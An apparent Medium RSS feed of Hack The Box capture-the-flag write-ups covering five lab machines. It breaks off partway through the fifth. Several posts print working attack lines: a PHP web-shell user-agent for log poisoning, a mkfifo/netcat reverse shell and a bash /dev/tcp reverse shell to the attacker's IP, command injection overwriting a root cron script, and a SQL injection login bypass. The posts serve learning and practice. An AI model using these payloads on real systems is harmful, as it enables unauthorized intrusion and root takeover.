<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Priscilla Abigail on Medium]]></title>
        <description><![CDATA[Stories by Priscilla Abigail on Medium]]></description>
        <link>https://medium.com/@priscillabigail?source=rss-ec4afd43b814------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*BQhn29Z3Fr_1H_ryAjkuVg.jpeg</url>
            <title>Stories by Priscilla Abigail on Medium</title>
            <link>https://medium.com/@priscillabigail?source=rss-ec4afd43b814------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 22 Nov 2026 10:28:24 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@priscillabigail/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[HTB: SolidState (Writeup)]]></title>
            <link>https://medium.com/@priscillabigail/htb-solidstate-writeup-60c35ea98915?source=rss-ec4afd43b814------2</link>
            <guid isPermaLink="false">https://medium.com/p/60c35ea98915</guid>
            <category><![CDATA[ssh]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <dc:creator><![CDATA[Priscilla Abigail]]></dc:creator>
            <pubDate>Mon, 26 May 2025 06:02:27 GMT</pubDate>
            <atom:updated>2025-05-26T06:02:27.387Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/576/1*lxepOesj63sOEnPxPAAzXg.png" /><figcaption>SolidState Machine</figcaption></figure><p><strong>🔍 Initial Enumeration</strong></p><p>We start with an Nmap scan to enumerate open ports on the target machine:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*CNYG8pZJzS5yAQGr" /></figure><p>Which reveals 5 open ports.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*89rBGF3AKATK-23m" /></figure><p>But with a more in-depth Nmap scan, another open port 4555 was found.</p><p><strong>🌐 Exploring the Website (Port 80)</strong></p><p>Visiting <a href="http://10.10.10.51/">http://10.10.10.51</a>, we see a placeholder website for a company named Solid State Security.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*8i4wnQKGDK8tXoLt" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*8WixccJoKANGCTZA" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Pz5J0285y7Ijrq23" /></figure><p>The page appears static and reveals little information.</p><p>Still, I run a directory brute-force scan using GoBuster to find hidden paths:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ZyJ7pPT1201e40Y7" /></figure><p>Unfortunately, this doesn’t reveal anything useful (like admin panels or login pages). No sensitive endpoints are exposed.</p><p><strong>📬 Identifying the Mail Server (Port 4555)</strong></p><p>While researching port 4555, I identify the service as Apache James Server 2.3.2, a Java-based mail server.</p><p>A quick Google search reveals that James 2.3.2 has known default credentials and allows administrative access via telnet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*oF-3n4RtHP30-V23" /></figure><p>So I tried opening a connection using their default password root:root to port 4555.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*rdYx4M1oxFNWYE6k" /></figure><p>Which worked. This revealed a mail server software which allow the user to view users, change passwords, forward email, etc.</p><p>There are other ports available which are connected to this service as well:</p><ul><li>SMTP (port 25) — for sending mail</li><li>POP3 (port 110) — for retrieving mail</li><li>NNTP (port 119) — for network news</li></ul><p><strong>🕵️‍♀️ Email Enumeration</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/0*dkH68f17tka48U25" /></figure><p>From here, I list the existing users and attempt to reset each of their passwords using James’ setpassword command. The idea is to reset users’ passwords to match their usernames (e.g., james:james) so I can later access their inbox via POP3 (port 110).</p><p>Now I try logging in as James to port 110 (which shows received emails).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/0*uvucWk8YDCY9D6A1" /></figure><p>But no emails were revealed for James, so I repeat this for the rest of the users listed:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/338/0*F5_ewqJ5QQPtn1u4" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/832/0*mS9q_P3NMNVBSdAT" /></figure><p>And set the password the same as their respective usernames again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*-RlxhKPIzt_6eha0" /></figure><p>Again, no emails found for Thomas.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*wcHOYcPo6w2zH9N0" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*vcFDvm43YxAivlvT" /></figure><p>John’s inbox contains a message mentioning that Mindy was assigned a temporary password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/934/0*8EqPZVkxwlWLmfpn" /></figure><p>Mindy’s account shows 2 emails.</p><p>The first one is a welcome message to the company, Mindy is probably a new employee at solidstate.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*gXeRO16pGtScYeJm" /></figure><p>Second email shows SSH credentials for mindy!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*kNZj1mPusbmIHBzF" /></figure><p><strong>🔐 Gaining Access as Mindy (User Shell)</strong></p><p>I log into the target using Mindy’s credentials:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*DRDjJU9uJaVkkfU1" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S1TvAjWCe0VAqogLrQmh6g.png" /></figure><p>Retrieving user flag. I also tried to run cd command, but it did not work.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/746/0*xYabNHe0p4FNsuF3" /></figure><p>These are the only commands available in our restricted shell logged into Mindy’s account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*VlqRg1H_2TC9pDwN" /></figure><p>So we try and log in through SSH again, but this time using -t bash to escape the restricted shell. This bypasses the restricted shell and grants me a functional bash prompt.</p><p>** Note: We can also use the JAMES CVE to escape this restricted shell by editing the script to execute bash `payload = ‘bash’.</p><p><strong>💣 Post-Exploitation — Privilege Escalation</strong></p><p>To escalate privileges, I need to discover any processes running as root that can be hijacked. I upload pspy, a tool that lets me observe processes running without needing root privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*uGJQa_A0_ttiLwZp" /></figure><p>Downloading pspy onto target.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ewEM95YgubSSBgax" /></figure><p>Wrong version of pspy.</p><p>Now downloading pspy32 and running it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*5X-RU8cmWcWYgH74" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*1vJrnBxF-ZO0d7Ny" /></figure><p>We can see /opt/tmp.py being run recurringly, indicating it is run every x amount of time (scheduled).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*I4h77AOMNuMSo_xc" /></figure><p>Ls -la revealed that tmp.py is owned by Root and is world-writable.</p><p><strong>💥 Achieving Root</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/878/0*OIU2jaMGdvuj8S_U" /></figure><p>I edit /opt/tmp.py and insert a reverse shell payload:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*XhneTscgzw8poKlZ" /></figure><p>And wait for it to run again as scheduled.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rBnC1l_ff3-ZZkk_dN-6UA.png" /></figure><p>I set up a listener on my machine, and after a couple minutes, the script executes as part of its scheduled job, and I receive a shell back as root, where we were able to retrieve the root flag! 🏁</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=60c35ea98915" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB: Poison (Writeup)]]></title>
            <link>https://medium.com/@priscillabigail/htb-poison-writeup-930509e2762f?source=rss-ec4afd43b814------2</link>
            <guid isPermaLink="false">https://medium.com/p/930509e2762f</guid>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[hack-the-box-writeup]]></category>
            <category><![CDATA[freebsd]]></category>
            <dc:creator><![CDATA[Priscilla Abigail]]></dc:creator>
            <pubDate>Mon, 19 May 2025 03:59:39 GMT</pubDate>
            <atom:updated>2025-05-28T07:00:09.668Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>Hints from HTB: Focuses mainly on log poisoning and port forwarding/tunneling. The machine is running FreeBSD which presents a few challenges for novice users as many common binaries from other distros are not available.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/1*cpRR3Vb36QKOCHDgX75MfA.png" /><figcaption>Poison Machine</figcaption></figure><p><strong>🧭 Initial Enumeration</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ZIcEvrFF6SOlDR7e" /></figure><p>Nmap scan shows 2 open ports 22 and 80.</p><p><strong>🌐 Exploring the Web Interface</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*kgpuH5Rzm9LlcUFi" /></figure><p>Opening the website on port 80 shows a form that allows testing local .php scripts. It even lists several scripts already available. I try each.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*v5Fe3J19IalGFSIK" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*WOa-zSDACch4eL92" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*r80iP4BkPC7Nt9HA" /></figure><p>Listfiles.php shows a file named pwdbackup.txt, interesting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*iB-OQ1U2sgPWu9Kh" /></figure><p>This is the inside of pwdbackup.txt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*geka05OjaEzaJXjV" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*YEmUeLwpXx7uMSV8" /></figure><p>We decode the base64 formatted password 13 times, which reveals the stored password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*yLehX4kz-TG6bZLk" /></figure><p>I peek into /etc/passwd through another PHP script and see the name charix. That’s our user.</p><p><strong>🖥️ Gaining a Shell</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*APS-SBUKov_94UcJ" /></figure><p>Now that we have a username and a password, we log in using SSH</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AfaVEg6TmrFJx5kyZxu7bw.png" /></figure><p>Retrieving user flag.</p><p><strong>⚠️ Another Way to Root</strong></p><p>As we were able to get access to/etc/passwd, LFI is confirmed. Here I will also try log poisoning.</p><p>When I test with a dummy file name, the error message reveals the path to the web root (home base for the server’s files) which is used in this search feature.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*DLYNA-KZVL-H6k9K" /></figure><p>Now I need to search for where the logs are located. To do that I first look for the httpd.conf file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*8ElAmO7fb6YT42Fu" /></figure><p>If I only search for httpd.conf, the error message actually gives us the path to the actual file! “/usr/local/….”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*cM81l6WgXeEMg8XK" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*70wFRrBHx5RZPvpt" /></figure><p>From there I was able to get the path to the access and error logs.</p><p>Now I use curl and manually set the user agent by using this command:<br>curl -A “&lt;?php system(\$_GET[‘c’]); ?&gt;” <a href="http://10.10.10.84/">http://10.10.10.84/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*WsxxeQUFuII-sPJX" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/842/0*-VIlJzqq8ifSNU3I" /></figure><p>So now when I try id, it shows on the access log.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ABqJJalL53TzPjLQ" /></figure><p>Next I set up a netcat listener and executed this reverse shell script:<br>&lt;usual domain&gt;c=rm%20/tmp/f;mkfifo%20/tmp/f;cat%20/tmp/f|/bin/sh%20-i%202&gt;%261|nc%20&lt;tun0 IP&gt;%209001%20&gt;/tmp/f</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*vJsHIhMTD-5eDuV3" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*hQXL-BWxeVGPwjxr" /></figure><p>And we got shell!</p><p><strong>🧠 Privilege Escalation to Root</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/856/0*EsicxYn9UK6Iux_l" /></figure><p>The only other file is secret.zip. But it cannot be opened unless using a password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*QB9EOdOMvPWQ_rQ6" /></figure><p>Luckily, the same password we found earlier for SSH works.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/584/0*TpPHHVJA-wR4SAPM" /></figure><p>The content inside.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*37lY3YdchEnuyPBQ" /></figure><p>I used file command to see what kind of file it is, shows it is a non-ISO extended-ASCII text, with no line terminators. Then I use cat and hexdump -C. Which shows a possible VNC password file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*4Hn-Cmj00RXgqLcq" /></figure><p>Now’s the time to think about what services are running behind the scenes?</p><p>Since we’re in as charix, we run netstat -an -p tcp.</p><p>This reveals these ports, especially port 5901 which is commonly used by VNC</p><p>VNC = Virtual Network Computing (like a remote desktop).</p><p>But it’s only listening on 127.0.0.1, meaning only local users can access it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*R3jgO7s6zxTA1j1g" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Gm5qW5yu5qFgjnW3" /></figure><p>Shows info that the VNC server is running as root. It’s listening on port 5901. It’s using a password file at /root/.vnc/passwd to authenticate users. Might be able to use the secret file we got earlier.</p><p>Now we need a way to “see” port 5901 on their localhost from our machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*zc_6WtoiiFfjM-fL" /></figure><p>Now I SSH again but using -L 5901:127.0.0.1:5901. This command forwards port 5901 from the target’s localhost to our local Kali system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*O7Q27Iqbddrny6sh" /></figure><p>With the tunnel open, we use vncviewer and point it at 127.0.0.1:5901. (using the passwd file we got earlier).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Uy5E-0P_kDGT2xHvVzssmA.png" /></figure><p>Triggers this GUI window as root and we are able to retrieve root flag! 🏁</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=930509e2762f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB: Cronos (Writeup)]]></title>
            <link>https://medium.com/@priscillabigail/htb-cronos-writeup-68ada06dcb31?source=rss-ec4afd43b814------2</link>
            <guid isPermaLink="false">https://medium.com/p/68ada06dcb31</guid>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[web-enumeration]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[crontab]]></category>
            <dc:creator><![CDATA[Priscilla Abigail]]></dc:creator>
            <pubDate>Wed, 14 May 2025 03:27:58 GMT</pubDate>
            <atom:updated>2025-05-14T03:28:14.007Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>CronOS focuses mainly on different vectors for enumeration and also emphasises the risks associated with adding world-writable files to the root crontab. This machine also includes an introductory-level SQL injection vulnerability.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/538/1*5PblZyeEG8-kMwLFleJwKg.png" /><figcaption>Cronos Machine</figcaption></figure><p><strong>🧭 Initial Enumeration</strong></p><p>Initial nmap shows 3 open ports.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*dKK5dE_03S_ARUQ0" /></figure><p>The results showed three open ports, including HTTP (port 80), which is a good starting point.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*_LsmE5SxX6y5CAT_" /></figure><p>Visiting http://&lt;target-ip&gt; in the browser led to the default Ubuntu Apache page, indicating the server is live but not configured to serve anything interesting on that root domain.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*IC4AhixuI5YLkfMB" /></figure><p><strong>🌐 Domain Setup &amp; Subdomain Discovery</strong></p><p>Adding the usual domain used in HTB machines to /etc/hosts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/468/0*99nL3THZMLA-4wcg" /></figure><p>Visiting cronos.htb shows this page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*nUNSUsGXiFU1JXzA" /></figure><p>I decided to look for additional subdomains using DNS zone transfer, a technique that can reveal internal domains if misconfigured.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*2JP0KzJslvIoGyOg" /></figure><p>Admin.cronos.htb shows login page into possible admin panel.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1006/0*7b11VQ3qVhWNKb73" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*h6t7pZDilZIcwc5H" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*uKCyitPnpXLEDxhY" /></figure><p><strong>🔓 SQL Injection</strong></p><p>HTB hinted a SQLi vulnerability, so I will try to exploit it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*nUpz09REUotTroHI" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*xqtpcJQQnrlKch4O" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*fXJt-ee162m8Qdjk" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/788/0*_zqVPPl70MlsJ2j_" /></figure><p>I tried testing the login field with the classic SQLi payload ‘ OR 1=1 — -, and it worked!</p><p>I successfully bypassed authentication and gained access to the panel, which exposed sensitive functionality. From here, I was able to dig deeper into the application, gaining access to a web shell as the www-data user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/0*28LMgvHhi-7LdPMi" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/844/0*AlWlBkOU-9tSP8oE" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/788/0*kSIvhuzD4U7uAzDS" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o15cKGroFmIn5aZnRoT0HQ.png" /></figure><p>Here I was able to retrieve the user flag.</p><p><strong>⏱️ Privilege Escalation via Crontab Abuse</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/988/0*tVe6-coKU3MCiZsh" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*fL9II6lljbeDvLt4" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*5YjGFxEblG8SPPT3" /></figure><p>After going through the directories, I found that the artisan binary is run every few minutes as root user.</p><p>Next I check using 8.8.8.8; cd ../../../; cat /etc/crontab; ls -la /var/www/laravel/artisan</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ZyMBRW9zxjqkd0Rn" /></figure><p>Which revealed that it is owned by www-data (which im shelling as) and that it is writable.</p><p>I make a copy of the original file 8.8.8.8; cp /var/www/laravel/artisan /tmp/artisan.bak.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/0*8tCMDtq-CkV-Mxtt" /></figure><p>I used 8.8.8.8; echo ‘&lt;?php system(“/bin/bash -c ‘\’’bash -i &gt;&amp; /dev/tcp/10.10.14.6/4444 0&gt;&amp;1&#39;\’’”); ?&gt;’ &gt; /var/www/laravel/artisan and set up a listener with netcat.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k2Vzp8Te0ex6aa9NWMMZoQ.png" /></figure><p>Retrieving root flag!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=68ada06dcb31" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[WTB: Celestial (Writeup)]]></title>
            <link>https://medium.com/@priscillabigail/wtb-celestial-writeup-afd04e19e477?source=rss-ec4afd43b814------2</link>
            <guid isPermaLink="false">https://medium.com/p/afd04e19e477</guid>
            <category><![CDATA[reverse-shell]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[rce]]></category>
            <category><![CDATA[pspy]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <dc:creator><![CDATA[Priscilla Abigail]]></dc:creator>
            <pubDate>Tue, 13 May 2025 16:41:55 GMT</pubDate>
            <atom:updated>2025-05-14T03:33:33.801Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>a medium difficulty machine which focuses on deserialization exploits which provides a practical example of abusing client-size serialized objects in NodeJS framework.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/546/1*Oex79uinZHbBG6h2lYd8og.png" /><figcaption>Celestial Machine</figcaption></figure><p><strong>🔍 Initial Enumeration</strong></p><p>I kicked things off with a standard nmap scan:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ukuiNJsU1veYsrBV" /></figure><p>This indicated a web application was running on port 3000, which is a common choice for development servers, especially with Node.js.</p><p>Visiting <a href="http://10.10.10.85:3000,">http://10.10.10.85:3000,</a> I found a simple form that likely sends data to the backend.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/0*CqRoQk2POQs2FMt5" /></figure><p>So I refreshed the page and intercepted the request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/648/0*8WfynDEuRyntVCfV" /></figure><p>What caught my eye was that the client was sending a base64-encoded string, a potential serialized object. Decoding it revealed:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*k34xFIBtgLQ1jvt-" /></figure><p>So the backend is decoding and using this JSON object, which is likely being re-serialized on the client side and passed directly to the server.</p><p><strong>🧪 Testing Input Handling</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Kip0j0qfd_qXCaFM" /></figure><p>Trying to change the value of num into a random string “a” to test how the system handles unrecognized input.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ioihDF_6XrYjmS-d" /></figure><p>The web app crashed and returned this error. This was a huge clue! It suggested that the backend might be doing something dangerous, like running our input using eval().</p><p>As indicated also by this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/0*X_3GZ8NQt2NLdnEF" /></figure><p>The app probably does something like eval(num + num). ​​</p><p><strong>💥 Achieving Remote Code Execution</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*dd2Gb-AvQyCkbzE6" /></figure><p>Now that we confirmed user-controlled input is being evaluated, next we will test if we could execute commands on the server. This payload was crafted using Node’s child_process module.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Ar23aSys_yaiNeuX" /></figure><p>And it works! Now we will try to get shell.</p><p>With code execution in hand, the next step was getting an interactive shell. I used a classic bash reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Z_UA-EKHSEVoUDDg" /></figure><p>I encode the payload with base64.</p><p>Then I created a payload that would echo, decode, and execute this shell</p><p>I embedded this into a JSON object like before, encoded the whole thing, and sent it to the app. With a Netcat listener running.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*YkPI8AD7NSRfD8B6" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/726/0*v1UGyDGG5rnifKfZ" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*bRw_rHD59VOXmJtP" /></figure><p>And I was able to get reverse shell through netcat listener.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O2Z56nFmdPi6XBNfvtugMQ.png" /></figure><p>Retrieving user flag!</p><p><strong>📈Privilege Escalation</strong></p><p>Time to move from user to root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*DtaSAWWQ2yH80oti" /></figure><p>Downloading spy onto my machine and hosting a python server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1018/0*npaQgkFiUGIkGRVN" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*_EfioAxCfvsqU8tX" /></figure><p>Downloading it into the target machine and using chmod to allow permission.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*51H93MVyyI1HZPuF" /></figure><p>Running pspy64 to look at the activities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*LqrykE08Z6p7Nlrh" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*mQD1tHUHMWAcCOxc" /></figure><p>I noticed repeated executions of /home/sun/Documents/script.py, along with the creation of an output.txt file containing “Script is running”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*lLY_rPc4z0Tn9TZu" /></figure><p>This suggested a cron job or service was repeatedly running that script, and it was writable!</p><p><strong>✍️Overwriting script.py</strong></p><p>To gain root access, I overwrote script.py with a reverse shell payload that would connect back to me.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*2YEUAd0DCyUXp6VY" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Flxo8WfeMg7TD-5Qwce_dQ.png" /></figure><p>Receive shell as root &amp; retrieving root flag.</p><p><strong>Final Thoughts 🙇🏻‍♀️💬</strong></p><p>This machine was really fun and educational. It helped me understand how insecure deserialization in JavaScript can lead to code execution, especially when eval() is carelessly used on user input. It also gave me more hands-on practice with crafting payloads, Node.js exploitation, and privilege escalation via automated scripts.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=afd04e19e477" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB: Ransom (Writeup)]]></title>
            <link>https://medium.com/@priscillabigail/htb-ransom-writeup-10fd87409d7e?source=rss-ec4afd43b814------2</link>
            <guid isPermaLink="false">https://medium.com/p/10fd87409d7e</guid>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[linux]]></category>
            <dc:creator><![CDATA[Priscilla Abigail]]></dc:creator>
            <pubDate>Mon, 05 May 2025 05:37:22 GMT</pubDate>
            <atom:updated>2025-05-05T05:51:26.718Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>HTB Hint: a medium-difficulty Linux machine that starts with a password-protected web application, hosting some files. An attacker is able to bypass the authentication process by modifying the request type and type juggling the arguments. Once access to the files is obtained, a Zip archive of a home directory is downloaded. The archive is encrypted using a legacy method that is vulnerable to a known-plaintext attack. Upon decrypting the archive, the attacker can access the box via SSH, using the uncovered private key. Enumerating the remote machine, the hardcoded password that was required by the webpage is found and reused to authenticate as the root user.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/518/1*YdDOoVK6KV2mGdKvb9v2KA.png" /></figure><p><strong>🧭 Reconnaissance</strong></p><p>Nmap shows 2 open ports.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*2OrGFO_U7EJgY4HZ" /></figure><p>Port 80 is the only web-facing service, so I moved on to browsing it and analyzing its behavior.</p><p>Accessing the site showed a login page that seemed to be part of a Laravel application (confirmed by inspecting headers and responses via curl).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*39F3KFJPM6gMlGlv" /></figure><p>After entering a password and submitting the form, I noticed something odd:</p><p>The login endpoint /api/login was being accessed via a GET request not a POST, which is more typical for logins. This suggested the API might not be validating request methods properly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/0*Da4xkfYBB6j7BiJs" /></figure><p><strong>💥 Exploitation: Login Bypass via Type Juggling</strong></p><p>As it was hinted that the initial authentication phase could be bypassed by “modifying the request type and type juggling the arguments,” I first tried eliminating the password arg and got back “password field is required.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Rv7n3jKgdbwQ-TJ-" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*XZuEzX7foNBOAmi3" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*lvUmyII9SwidVco5" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/0*RApo5AOlq-OPlIGX" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/0*TAThY7w8kR-pUFrK" /></figure><p>After trial and error (e.g., sending an empty array [], boolean true, and string “0” as the password), I was eventually able to bypass the login logic, likely due to PHP’s loose comparison (==) which treats “0” and false as equal.</p><p>Once authenticated, the site granted access to a set of downloadable files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*15Vygx2aunc7_ubs" /></figure><figure><img alt="" 